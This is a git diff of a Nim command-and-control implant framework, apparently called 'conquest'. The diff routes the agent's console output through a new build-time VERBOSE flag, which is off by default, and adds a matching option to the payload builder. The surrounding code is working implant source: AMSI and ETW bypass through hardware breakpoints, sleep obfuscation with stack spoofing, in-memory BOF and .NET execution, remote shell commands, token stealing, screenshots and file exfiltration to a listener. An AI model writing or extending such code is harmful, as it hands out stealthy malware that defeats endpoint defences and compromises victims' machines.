diff --git a/src/agent/core/clr.nim b/src/agent/core/clr.nim index 7f24261..2129b0e 100644 --- a/src/agent/core/clr.nim +++ b/src/agent/core/clr.nim @@ -1,6 +1,6 @@ import winim/[lean, clr] import os, strformat, strutils, sequtils -import ./hwbp +import ./[hwbp, io] import ../../common/[types, utils] #[ @@ -19,14 +19,14 @@ import ../../common/[types, utils] proc amsiPatch(pThreadCtx: PCONTEXT) = # Set the AMSI_RESULT parameter to 0 (AMSI_RESULT_CLEAN) SETPARAM_6(pThreadCtx, cast[PULONG](0)) - echo protect(" [+] AMSI_SCAN_RESULT set to AMSI_RESULT_CLEAN") + print protect(" [+] AMSI_SCAN_RESULT set to AMSI_RESULT_CLEAN") CONTINUE_EXECUTION(pThreadCtx) proc etwPatch(pThreadCtx: PCONTEXT) = pThreadCtx.Rip = cast[PULONG_PTR](pThreadCtx.Rsp)[] pThreadCtx.Rsp += sizeof(PVOID) pThreadCtx.Rax = STATUS_SUCCESS - echo protect(" [+] Return value of NtTraceEvent set to STATUS_SUCCESS") + print protect(" [+] Return value of NtTraceEvent set to STATUS_SUCCESS") CONTINUE_EXECUTION(pThreadCtx) #[ diff --git a/src/agent/core/coff.nim b/src/agent/core/coff.nim index 6e02262..a3ec4e8 100644 --- a/src/agent/core/coff.nim +++ b/src/agent/core/coff.nim @@ -1,6 +1,6 @@ import winim/lean import os, strformat, strutils, ptr_math -import ./beacon +import ./[beacon, io] import ../../common/[types, utils, serialize] #[ @@ -88,7 +88,7 @@ proc objectVirtualSize(objCtx: POBJECT_CTX): ULONG = # Check if symbol starts with `__ipm_` (imported functions) if ($symbol).startsWith("__imp_"): length += ULONG(sizeof(PVOID)) - # echo $symbol + # print $symbol # Handle next relocation item/symbol objRel = cast[PIMAGE_RELOCATION](cast[int](objRel) + sizeof(IMAGE_RELOCATION)) @@ -156,7 +156,7 @@ proc objectResolveSymbol(symbol: var PSTR): PVOID = if resolved == NULL: raise newException(CatchableError, fmt"Function {$function} not found in {$library}.") - echo fmt" [>] {$symbol} @ 0x{resolved.repr}" + print fmt" [>] {$symbol} @ 0x{resolved.repr}" RtlSecureZeroMemory(addr buffer[0], sizeof(buffer)) @@ -339,9 +339,9 @@ proc inlineExecute*(objectFile: seq[byte], args: seq[byte] = @[], entryFunction: objCtx.symTbl = cast[PIMAGE_SYMBOL](cast[int](pObject) + cast[int](objCtx.union.header.PointerToSymbolTable)) objCtx.sections = cast[PIMAGE_SECTION_HEADER](cast[int](pObject) + sizeof(IMAGE_FILE_HEADER)) - # echo objCtx.union.header.repr - # echo objCtx.symTbl.repr - # echo objCtx.sections.repr + # print objCtx.union.header.repr + # print objCtx.symTbl.repr + # print objCtx.sections.repr # Verifying that the object file's architecture is x64 when defined(amd64): @@ -354,7 +354,7 @@ proc inlineExecute*(objectFile: seq[byte], args: seq[byte] = @[], entryFunction: # Calculate required virtual memory virtSize = objectVirtualSize(addr objCtx) - echo fmt"[*] Virtual size of object file: {virtSize} bytes" + print fmt"[*] Virtual size of object file: {virtSize} bytes" # Allocate memory virtAddr = VirtualAlloc(NULL, virtSize, MEM_RESERVE or MEM_COMMIT, PAGE_READWRITE) @@ -370,7 +370,7 @@ proc inlineExecute*(objectFile: seq[byte], args: seq[byte] = @[], entryFunction: raise newException(CatchableError, $GetLastError()) defer: HeapFree(GetProcessHeap(), HEAP_ZERO_MEMORY, objCtx.secMap) - echo fmt"[*] Virtual memory allocated for object file at 0x{virtAddr.repr} ({virtSize} bytes)" + print fmt"[*] Virtual memory allocated for object file at 0x{virtAddr.repr} ({virtSize} bytes)" # Set the section base to the allocated memory secBase = virtAddr @@ -380,7 +380,7 @@ proc inlineExecute*(objectFile: seq[byte], args: seq[byte] = @[], entryFunction: sections = cast[ptr UncheckedArray[IMAGE_SECTION_HEADER]](objCtx.sections) secMap = cast[ptr UncheckedArray[SECTION_MAP]](objCtx.secMap) - echo "[*] Copying over sections." + print "[*] Copying over sections." for i in 0 ..< int(objCtx.union.header.NumberOfSections): secSize = sections[i].SizeOfRawData secMap[i].size = secSize @@ -388,7 +388,7 @@ proc inlineExecute*(objectFile: seq[byte], args: seq[byte] = @[], entryFunction: # Copy over section data copyMem(secBase, cast[PVOID](objCtx.union.base + cast[int](sections[i].PointerToRawData)), secSize) - echo fmt" [>] {$(addr sections[i].Name)} @ 0x{secBase.repr} ({secSize} bytes))" + print fmt" [>] {$(addr sections[i].Name)} @ 0x{secBase.repr} ({secSize} bytes))" # Get the next page entry secBase = cast[PVOID](PAGE_ALIGN(cast[uint](secBase) + uint(secSize))) @@ -396,17 +396,17 @@ proc inlineExecute*(objectFile: seq[byte], args: seq[byte] = @[], entryFunction: # The last page of the memory is the symbol/function map objCtx.symMap = cast[ptr PVOID](secBase) - echo "[*] Processing sections and performing relocations." + print "[*] Processing sections and performing relocations." if not objectProcessSection(addr objCtx): RtlSecureZeroMemory(addr objCtx, sizeof(objCtx)) raise newException(CatchableError, "Failed to process sections.") # Executing the object file - echo "[*] Executing." + print "[*] Executing." if not objectExecute(addr objCtx, entryFunction, args): RtlSecureZeroMemory(addr objCtx, sizeof(objCtx)) raise newException(CatchableError, fmt"Failed to execute function {$entryFunction}.") - echo "[+] Object file executed successfully." + print "[+] Object file executed successfully." RtlSecureZeroMemory(addr objCtx, sizeof(objCtx)) diff --git a/src/agent/core/context.nim b/src/agent/core/context.nim index ec8d2c4..b22c7f5 100644 --- a/src/agent/core/context.nim +++ b/src/agent/core/context.nim @@ -1,4 +1,5 @@ import parsetoml, base64, system +import ./io import ../../common/[types, utils, crypto, serialize] const CONFIGURATION {.strdefine.}: string = "" @@ -38,7 +39,7 @@ proc deserializeConfiguration(config: string): AgentCtx = wipeKey(agentKeyPair.privateKey) - echo protect("[+] Profile configuration deserialized.") + print protect("[+] Profile configuration deserialized.") return ctx proc init*(T: type AgentCtx): AgentCtx = @@ -50,7 +51,7 @@ proc init*(T: type AgentCtx): AgentCtx = return deserializeConfiguration(CONFIGURATION) except CatchableError as err: - echo "[-] " & err.msg + print "[-] " & err.msg return nil diff --git a/src/agent/core/http.nim b/src/agent/core/http.nim index 8e192e4..9b6c336 100644 --- a/src/agent/core/http.nim +++ b/src/agent/core/http.nim @@ -1,5 +1,5 @@ import httpclient, json, strformat, strutils, asyncdispatch, base64, tables, parsetoml, random - +import ./io import ../../common/[types, utils, profile] proc httpGet*(ctx: AgentCtx, heartbeat: seq[byte]): string = @@ -71,7 +71,7 @@ proc httpGet*(ctx: AgentCtx, heartbeat: seq[byte]): string = except CatchableError as err: # When the listener is not reachable, don't kill the application, but check in at the next time - echo "[-] " & err.msg + print protect("[-] "), err.msg finally: client.close() @@ -103,7 +103,7 @@ proc httpPost*(ctx: AgentCtx, data: seq[byte]): bool {.discardable.} = discard waitFor client.request(fmt"http://{host}/{endpoint}", requestMethod, body) except CatchableError as err: - echo "[-] " & err.msg + print protect("[-] "), err.msg return false finally: diff --git a/src/agent/core/hwbp.nim b/src/agent/core/hwbp.nim index 3a4e548..34cc58f 100644 --- a/src/agent/core/hwbp.nim +++ b/src/agent/core/hwbp.nim @@ -1,4 +1,5 @@ import winim/lean +import ./io import ../../common/utils # From: https://github.com/m4ul3r/malware/blob/main/nim/hardware_breakpoints/hardwarebreakpoints.nim @@ -33,7 +34,7 @@ proc setHardwareBreakpoint*(pAddress: PVOID, fnHookFunc: PVOID, drx: DRX): bool threadCtx.ContextFlags = CONTEXT_DEBUG_REGISTERS if GetThreadContext(cast[HANDLE](-2), threadCtx.addr) == 0: - echo protect("[!] GetThreadContext Failed: "), GetLastError() + print protect("[!] GetThreadContext Failed: "), GetLastError() return false case drx: @@ -59,7 +60,7 @@ proc setHardwareBreakpoint*(pAddress: PVOID, fnHookFunc: PVOID, drx: DRX): bool threadCtx.Dr7 = setDr7Bits(threadCtx.Dr7, (cast[int](drx) * 2), 1, 1) if SetThreadContext(cast[HANDLE](-2), threadCtx.addr) == 0: - echo protect("[!] SetThreadContext Failed: "), GetLastError() + print protect("[!] SetThreadContext Failed: "), GetLastError() return false return true @@ -69,7 +70,7 @@ proc removeHardwareBreakpoint*(drx: DRX): bool = threadCtx.ContextFlags = CONTEXT_DEBUG_REGISTERS if GetThreadContext(cast[HANDLE](-2), threadCtx.addr) == 0: - echo protect("[!] GetThreadContext Failed: "), GetLastError() + print protect("[!] GetThreadContext Failed: "), GetLastError() return false # Remove the address of the hooked function from the thread context @@ -87,7 +88,7 @@ proc removeHardwareBreakpoint*(drx: DRX): bool = threadCtx.Dr7 = setDr7Bits(threadCtx.Dr7, (cast[int](drx) * 2), 1, 0) if SetThreadContext(cast[HANDLE](-2), threadCtx.addr) == 0: - echo protect("[!] SetThreadContext Failed"), GetLastError() + print protect("[!] SetThreadContext Failed"), GetLastError() return false return true @@ -196,7 +197,7 @@ proc initializeHardwareBPVariables*(): bool = # Add 'VectorHandler' as the VEH g_VectorHandler = AddVectoredExceptionHandler(1, cast[PVECTORED_EXCEPTION_HANDLER](vectorHandler)) if cast[int](g_VectorHandler) == 0: - echo protect("[!] AddVectoredExceptionHandler Failed") + print protect("[!] AddVectoredExceptionHandler Failed") return false if (cast[int](g_VectorHandler) and cast[int](g_CriticalSection.DebugInfo)) != 0: diff --git a/src/agent/core/io.nim b/src/agent/core/io.nim new file mode 100644 index 0000000..6a4f9d9 --- /dev/null +++ b/src/agent/core/io.nim @@ -0,0 +1,17 @@ +import macros +import ../../common/[types, utils] + +const VERBOSE* {.booldefine.} = false + +# Only print to console when VERBOSE mode is enabled +template print*(args: varargs[untyped]): untyped = + when defined(VERBOSE) and VERBOSE == true: + echo args + else: + discard + +# Convert Windows API error to readable value +# https://learn.microsoft.com/de-de/windows/win32/api/winbase/nf-winbase-formatmessage + +# Convert NTSTATUS to readable value +# https://ntdoc.m417z.com/rtlntstatustodoserror diff --git a/src/agent/core/sleepmask.nim b/src/agent/core/sleepmask.nim index c3bfc08..2437241 100644 --- a/src/agent/core/sleepmask.nim +++ b/src/agent/core/sleepmask.nim @@ -2,7 +2,7 @@ import winim/lean import winim/inc/tlhelp32 import os, system, strformat -import ./cfg +import ./[cfg, io] import ../../common/[types, utils, crypto] # Different sleep obfuscation techniques, reimplemented in Nim (Ekko, Zilean, Foliage) @@ -115,10 +115,10 @@ proc GetRandomThreadCtx(): CONTEXT = if GetThreadContext(hThread, addr ctx) == 0: continue - echo fmt"[*] Using thread {thd32Entry.th32ThreadID} for stack spoofing." + print fmt"[*] Using thread {thd32Entry.th32ThreadID} for stack spoofing." return ctx - echo protect("[-] No suitable thread for stack duplication found.") + print protect("[-] No suitable thread for stack duplication found.") return ctx #[ @@ -280,17 +280,17 @@ proc sleepEkko(apis: Apis, key, img: USTRING, sleepDelay: int, spoofStack: var b if status != STATUS_SUCCESS: raise newException(CatchableError, "RtlCreateTimer/NtContinue " & $status.toHex()) - echo protect("[*] Sleep obfuscation start.") + print protect("[*] Sleep obfuscation start.") status = apis.NtSignalAndWaitForSingleObject(hEventStart, hEventEnd, FALSE, NULL) if status != STATUS_SUCCESS: raise newException(CatchableError, "NtSignalAndWaitForSingleObject " & $status.toHex()) - echo protect("[*] Sleep obfuscation end.") + print protect("[*] Sleep obfuscation end.") except CatchableError as err: sleep(sleepDelay) - echo protect("[-] "), err.msg + print protect("[-] "), err.msg #[ @@ -448,17 +448,17 @@ proc sleepZilean(apis: Apis, key, img: USTRING, sleepDelay: int, spoofStack: var if status != STATUS_SUCCESS: raise newException(CatchableError, "RtlRegisterWait/NtContinue " & $status.toHex()) - echo protect("[*] Sleep obfuscation start.") + print protect("[*] Sleep obfuscation start.") status = apis.NtSignalAndWaitForSingleObject(hEventStart, hEventEnd, FALSE, NULL) if status != STATUS_SUCCESS: raise newException(CatchableError, "NtSignalAndWaitForSingleObject " & $status.toHex()) - echo protect("[*] Sleep obfuscation end.") + print protect("[*] Sleep obfuscation end.") except CatchableError as err: sleep(sleepDelay) - echo protect("[-] "), err.msg + print protect("[-] "), err.msg #[ @@ -484,7 +484,7 @@ proc sleepFoliage(apis: Apis, key, img: USTRING, sleepDelay: int) = status = apis.NtCreateThreadEx(addr hThread, THREAD_ALL_ACCESS, NULL, GetCurrentProcess(), NULL, NULL, TRUE, 0, 0x1000 * 20, 0x1000 * 20, NULL) if status != STATUS_SUCCESS: raise newException(CatchableError, "NtCreateThreadEx " & $status.toHex()) - echo fmt"[*] [{hThread.repr}] Thread created " + print fmt"[*] [{hThread.repr}] Thread created " defer: CloseHandle(hThread) ctxInit.ContextFlags = CONTEXT_FULL @@ -559,17 +559,17 @@ proc sleepFoliage(apis: Apis, key, img: USTRING, sleepDelay: int) = if status != STATUS_SUCCESS: raise newException(CatchableError, "NtAlertResumeThread " & $status.toHex()) - echo protect("[*] Sleep obfuscation start.") + print protect("[*] Sleep obfuscation start.") status = apis.NtSignalAndWaitForSingleObject(hEventSync, hThread, TRUE, NULL) if status != STATUS_SUCCESS: raise newException(CatchableError, "NtSignalAndWaitForSingleObject " & $status.toHex()) - echo protect("[*] Sleep obfuscation end.") + print protect("[*] Sleep obfuscation end.") except CatchableError as err: sleep(sleepDelay) - echo protect("[-] "), err.msg + print protect("[-] "), err.msg # Sleep obfuscation implemented in various techniques proc sleepObfuscate*(sleepDelay: int, technique: SleepObfuscationTechnique = NONE, spoofStack: var bool = true) = @@ -580,7 +580,7 @@ proc sleepObfuscate*(sleepDelay: int, technique: SleepObfuscationTechnique = NON # Initialize required API functions let apis = initApis() - echo fmt"[*] Sleepmask settings: Technique: {$technique}, Delay: {$sleepDelay}ms, Stack spoofing: {$spoofStack}" + print fmt"[*] Sleepmask settings: Technique: {$technique}, Delay: {$sleepDelay}ms, Stack spoofing: {$spoofStack}" var img: USTRING = USTRING(Length: 0) var key: USTRING = USTRING(Length: 0) diff --git a/src/agent/main.nim b/src/agent/main.nim index 5c5a73e..c32ff0e 100644 --- a/src/agent/main.nim +++ b/src/agent/main.nim @@ -1,6 +1,6 @@ import strformat, os, times, system, base64, random -import core/[http, context, sleepmask] +import core/[http, context, sleepmask, io] import protocol/[task, result, heartbeat, registration] import ../common/[types, utils, crypto] @@ -17,9 +17,9 @@ proc main() = let registrationBytes = ctx.serializeRegistrationData(registration) if not ctx.httpPost(registrationBytes): - echo "[-] Agent registration failed." + print("[-] Agent registration failed.") quit(0) - echo fmt"[+] [{ctx.agentId}] Agent registered." + print fmt"[+] [{ctx.agentId}] Agent registered." #[ Agent routine: @@ -34,7 +34,7 @@ proc main() = sleepObfuscate(ctx.sleep * 1000, ctx.sleepTechnique, ctx.spoofStack) let date: string = now().format("dd-MM-yyyy HH:mm:ss") - echo "\n", fmt"[*] [{date}] Checking in." + print "\n", fmt"[*] [{date}] Checking in." try: # Retrieve task queue for the current agent by sending a check-in/heartbeat request @@ -45,13 +45,13 @@ proc main() = packet: string = ctx.httpGet(heartbeatBytes) if packet.len <= 0: - echo "[*] No tasks to execute." + print("[*] No tasks to execute.") continue let tasks: seq[Task] = ctx.deserializePacket(packet) if tasks.len <= 0: - echo "[*] No tasks to execute." + print("[*] No tasks to execute.") continue # Execute all retrieved tasks and return their output to the server @@ -62,7 +62,7 @@ proc main() = ctx.httpPost(resultBytes) except CatchableError as err: - echo "[-] ", err.msg + print("[-] ", err.msg) when isMainModule: main() \ No newline at end of file diff --git a/src/agent/nim.cfg b/src/agent/nim.cfg index e4784a2..72135e0 100644 --- a/src/agent/nim.cfg +++ b/src/agent/nim.cfg @@ -5,4 +5,5 @@ --passL:"-s" # Strip symbols, such as sensitive function names -d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER" -d:MODULES="511" +-d:VERBOSE="false" -o:"/mnt/c/Users/jakob/Documents/Projects/conquest/bin/monarch.x64.exe" \ No newline at end of file diff --git a/src/agent/protocol/task.nim b/src/agent/protocol/task.nim index bb032fb..dbea470 100644 --- a/src/agent/protocol/task.nim +++ b/src/agent/protocol/task.nim @@ -1,6 +1,7 @@ import strutils, tables, json, strformat, zippy import ./result +import ../core/io import ../../modules/manager import ../../common/[types, serialize, sequence, crypto, utils] @@ -61,7 +62,7 @@ proc deserializePacket*(ctx: AgentCtx, packet: string): seq[Task] = var unpacker = Unpacker.init(packet) var taskCount = unpacker.getUint8() - echo fmt"[*] Response contained {taskCount} tasks." + print fmt"[*] Response contained {taskCount} tasks." if taskCount <= 0: return @[] diff --git a/src/client/core/websocket.nim b/src/client/core/websocket.nim index 2b60fda..2440671 100644 --- a/src/client/core/websocket.nim +++ b/src/client/core/websocket.nim @@ -43,6 +43,7 @@ proc sendAgentBuild*(connection: WsConnection, buildInformation: AgentBuildInfor "sleepDelay": buildInformation.sleepDelay, "sleepTechnique": cast[uint8](buildInformation.sleepTechnique), "spoofStack": buildInformation.spoofStack, + "verbose": buildInformation.verbose, "modules": buildInformation.modules } ) diff --git a/src/client/views/modals/generatePayload.nim b/src/client/views/modals/generatePayload.nim index c3f3353..9adc008 100644 --- a/src/client/views/modals/generatePayload.nim +++ b/src/client/views/modals/generatePayload.nim @@ -12,6 +12,7 @@ type sleepDelay: uint32 sleepMask: int32 spoofStack: bool + verbose: bool sleepMaskTechniques: seq[string] moduleSelection: DualListSelectionWidget[Module] buildLog*: TextareaWidget @@ -23,6 +24,7 @@ proc AgentModal*(): AgentModalComponent = result.sleepDelay = 5 result.sleepMask = 0 result.spoofStack = false + result.verbose = false for technique in SleepObfuscationTechnique.low .. SleepObfuscationTechnique.high: result.sleepMaskTechniques.add($technique) @@ -45,6 +47,7 @@ proc resetModalValues*(component: AgentModalComponent) = component.sleepDelay = 5 component.sleepMask = 0 component.spoofStack = false + component.verbose = false component.moduleSelection.reset() component.buildLog.clear() @@ -100,6 +103,12 @@ proc draw*(component: AgentModalComponent, listeners: seq[UIListener]): AgentBui igCheckbox("##InputSpoofStack", addr component.spoofStack) igEndDisabled() + # Verbose mode checkbox + igText("Verbose: ") + igSameLine(0.0f, textSpacing) + igSetNextItemWidth(availableSize.x) + igCheckbox("##InputVerbose", addr component.verbose) + igDummy(vec2(0.0f, 10.0f)) igSeparator() igDummy(vec2(0.0f, 10.0f)) @@ -139,6 +148,7 @@ proc draw*(component: AgentModalComponent, listeners: seq[UIListener]): AgentBui sleepDelay: component.sleepDelay, sleepTechnique: cast[SleepObfuscationTechnique](component.sleepMask), spoofStack: component.spoofStack, + verbose: component.verbose, modules: modules ) diff --git a/src/common/types.nim b/src/common/types.nim index ebe19d0..8cd82c2 100644 --- a/src/common/types.nim +++ b/src/common/types.nim @@ -361,6 +361,7 @@ type sleepDelay*: uint32 sleepTechnique*: SleepObfuscationTechnique spoofStack*: bool + verbose*: bool modules*: uint32 LootItemType* = enum diff --git a/src/modules/bof.nim b/src/modules/bof.nim index 22ea85e..255e2a3 100644 --- a/src/modules/bof.nim +++ b/src/modules/bof.nim @@ -30,7 +30,7 @@ when not defined(agent): when defined(agent): import osproc, strutils, strformat - import ../agent/core/coff + import ../agent/core/[coff, io] import ../agent/protocol/result import ../common/[utils, serialize] @@ -57,7 +57,7 @@ when defined(agent): fileName = unpacker.getDataWithLengthPrefix() objectFileContents = unpacker.getDataWithLengthPrefix() - echo fmt" [>] Executing object file {fileName}." + print fmt" [>] Executing object file {fileName}." let output = inlineExecuteGetOutput(string.toBytes(objectFileContents), arguments) if output != "": diff --git a/src/modules/dotnet.nim b/src/modules/dotnet.nim index f842409..8f61f0c 100644 --- a/src/modules/dotnet.nim +++ b/src/modules/dotnet.nim @@ -30,7 +30,7 @@ when not defined(agent): when defined(agent): import strutils, strformat - import ../agent/core/clr + import ../agent/core/[clr, io] import ../agent/protocol/result import ../common/[utils, serialize] @@ -56,7 +56,7 @@ when defined(agent): fileName = unpacker.getDataWithLengthPrefix() assemblyBytes = unpacker.getDataWithLengthPrefix() - echo fmt" [>] Executing .NET assembly {fileName}." + print fmt" [>] Executing .NET assembly {fileName}." let (assemblyInfo, output) = dotnetInlineExecuteGetOutput(string.toBytes(assemblyBytes), arguments) if output != "": diff --git a/src/modules/filesystem.nim b/src/modules/filesystem.nim index 5227f27..0d31fc0 100644 --- a/src/modules/filesystem.nim +++ b/src/modules/filesystem.nim @@ -101,13 +101,14 @@ when not defined(agent): when defined(agent): import os, strutils, strformat, times, algorithm, winim + import ../agent/core/io import ../agent/protocol/result import ../common/utils # Retrieve current working directory proc executePwd(ctx: AgentCtx, task: Task): TaskResult = - echo protect(" [>] Retrieving current working directory.") + print protect(" [>] Retrieving current working directory.") try: # Get current working directory using GetCurrentDirectory @@ -131,7 +132,7 @@ when defined(agent): # Parse arguments let targetDirectory = Bytes.toString(task.args[0].data) - echo protect(" [>] Changing current working directory to {targetDirectory}.") + print protect(" [>] Changing current working directory to {targetDirectory}.") try: # Get current working directory using GetCurrentDirectory @@ -168,7 +169,7 @@ when defined(agent): else: discard - echo fmt" [>] Listing files and directories in {targetDirectory}." + print fmt" [>] Listing files and directories in {targetDirectory}." # Prepare search pattern (target directory + \*) let searchPattern = targetDirectory & "\\*" @@ -300,7 +301,7 @@ when defined(agent): # Parse arguments let target = Bytes.toString(task.args[0].data) - echo fmt" [>] Deleting file {target}." + print fmt" [>] Deleting file {target}." try: if DeleteFile(target) == FALSE: @@ -318,7 +319,7 @@ when defined(agent): # Parse arguments let target = Bytes.toString(task.args[0].data) - echo fmt" [>] Deleting directory {target}." + print fmt" [>] Deleting directory {target}." try: if RemoveDirectoryA(target) == FALSE: @@ -337,7 +338,7 @@ when defined(agent): lpExistingFileName = Bytes.toString(task.args[0].data) lpNewFileName = Bytes.toString(task.args[1].data) - echo fmt" [>] Moving {lpExistingFileName} to {lpNewFileName}." + print fmt" [>] Moving {lpExistingFileName} to {lpNewFileName}." try: if MoveFile(lpExistingFileName, lpNewFileName) == FALSE: @@ -357,7 +358,7 @@ when defined(agent): lpExistingFileName = Bytes.toString(task.args[0].data) lpNewFileName = Bytes.toString(task.args[1].data) - echo fmt" [>] Copying {lpExistingFileName} to {lpNewFileName}." + print fmt" [>] Copying {lpExistingFileName} to {lpNewFileName}." try: # Copy file to new location, overwrite if a file with the same name already exists diff --git a/src/modules/filetransfer.nim b/src/modules/filetransfer.nim index cc758f7..ad01f7a 100644 --- a/src/modules/filetransfer.nim +++ b/src/modules/filetransfer.nim @@ -41,6 +41,7 @@ when not defined(agent): when defined(agent): import os, std/paths, strutils, strformat + import ../agent/core/io import ../agent/protocol/result import ../common/[utils, serialize] @@ -48,7 +49,7 @@ when defined(agent): try: var filePath: string = absolutePath(Bytes.toString(task.args[0].data)) - echo fmt" [>] Downloading {filePath}" + print fmt" [>] Downloading {filePath}" # Read file contents into memory and return them as the result var fileBytes = readFile(filePath) @@ -71,7 +72,7 @@ when defined(agent): try: var arg: string = Bytes.toString(task.args[0].data) - echo arg + print arg # Parse binary argument var unpacker = Unpacker.init(arg) diff --git a/src/modules/screenshot.nim b/src/modules/screenshot.nim index 2bdc053..0b66402 100644 --- a/src/modules/screenshot.nim +++ b/src/modules/screenshot.nim @@ -30,6 +30,7 @@ when defined(agent): import winim/inc/wingdi import strutils, strformat, times, pixie import stb_image/write as stbiw + import ../agent/core/io import ../agent/protocol/result import ../common/[utils, serialize] @@ -155,7 +156,7 @@ when defined(agent): proc executeScreenshot(ctx: AgentCtx, task: Task): TaskResult = try: - echo protect(" [>] Taking and uploading screenshot.") + print protect(" [>] Taking and uploading screenshot.") let screenshotFilename: string = fmt"screenshot_{getTime().toUnix()}.jpeg" diff --git a/src/modules/shell.nim b/src/modules/shell.nim index 98016c8..d82ea9b 100644 --- a/src/modules/shell.nim +++ b/src/modules/shell.nim @@ -30,6 +30,7 @@ when not defined(agent): when defined(agent): import osproc, strutils, strformat + import ../agent/core/io import ../agent/protocol/result import ../common/utils @@ -50,7 +51,7 @@ when defined(agent): for arg in task.args[1..^1]: arguments &= Bytes.toString(arg.data) & " " - echo fmt" [>] Executing command: {command} {arguments}" + print fmt" [>] Executing command: {command} {arguments}" let (output, status) = execCmdEx(fmt("{command} {arguments}")) diff --git a/src/modules/sleep.nim b/src/modules/sleep.nim index 07a9493..cb4decd 100644 --- a/src/modules/sleep.nim +++ b/src/modules/sleep.nim @@ -42,6 +42,7 @@ when not defined(agent): when defined(agent): import os, strutils, strformat + import ../agent/core/io import ../agent/protocol/result import ../common/utils @@ -52,7 +53,7 @@ when defined(agent): let delay = int(Bytes.toUint32(task.args[0].data)) # Updating sleep in agent context - echo fmt" [>] Setting sleep delay to {delay} seconds." + print fmt" [>] Setting sleep delay to {delay} seconds." ctx.sleep = delay return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[]) @@ -63,7 +64,7 @@ when defined(agent): proc executeSleepmask(ctx: AgentCtx, task: Task): TaskResult = try: - echo fmt" [>] Updating sleepmask settings." + print fmt" [>] Updating sleepmask settings." case int(task.argCount): of 0: diff --git a/src/modules/systeminfo.nim b/src/modules/systeminfo.nim index 78d411d..0ed091c 100644 --- a/src/modules/systeminfo.nim +++ b/src/modules/systeminfo.nim @@ -38,6 +38,7 @@ when defined(agent): import winim import os, strutils, sequtils, strformat, tables, algorithm + import ../agent/core/io import ../agent/protocol/result import ../common/utils @@ -51,7 +52,7 @@ when defined(agent): proc executePs(ctx: AgentCtx, task: Task): TaskResult = - echo protect(" [>] Listing running processes.") + print protect(" [>] Listing running processes.") try: var processes: seq[DWORD] = @[] @@ -125,7 +126,7 @@ when defined(agent): proc executeEnv(ctx: AgentCtx, task: Task): TaskResult = - echo protect(" [>] Displaying environment variables.") + print protect(" [>] Displaying environment variables.") try: var output: string = "" diff --git a/src/modules/token.nim b/src/modules/token.nim index af07640..ba7499e 100644 --- a/src/modules/token.nim +++ b/src/modules/token.nim @@ -88,13 +88,13 @@ when not defined(agent): when defined(agent): import winim, strutils, strformat + import ../agent/core/[token, io] import ../agent/protocol/result - import ../agent/core/token import ../common/utils proc executeMakeToken(ctx: AgentCtx, task: Task): TaskResult = try: - echo fmt" [>] Creating access token from username and password." + print fmt" [>] Creating access token from username and password." var logonType: DWORD = LOGON32_LOGON_NEW_CREDENTIALS var @@ -119,7 +119,7 @@ when defined(agent): proc executeStealToken(ctx: AgentCtx, task: Task): TaskResult = try: - echo fmt" [>] Stealing access token." + print fmt" [>] Stealing access token." let pid = int(Bytes.toUint32(task.args[0].data)) let username = stealToken(pid) @@ -131,7 +131,7 @@ when defined(agent): proc executeRev2Self(ctx: AgentCtx, task: Task): TaskResult = try: - echo fmt" [>] Reverting access token." + print fmt" [>] Reverting access token." rev2self() return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[]) @@ -140,7 +140,7 @@ when defined(agent): proc executeTokenInfo(ctx: AgentCtx, task: Task): TaskResult = try: - echo fmt" [>] Retrieving token information." + print fmt" [>] Retrieving token information." let 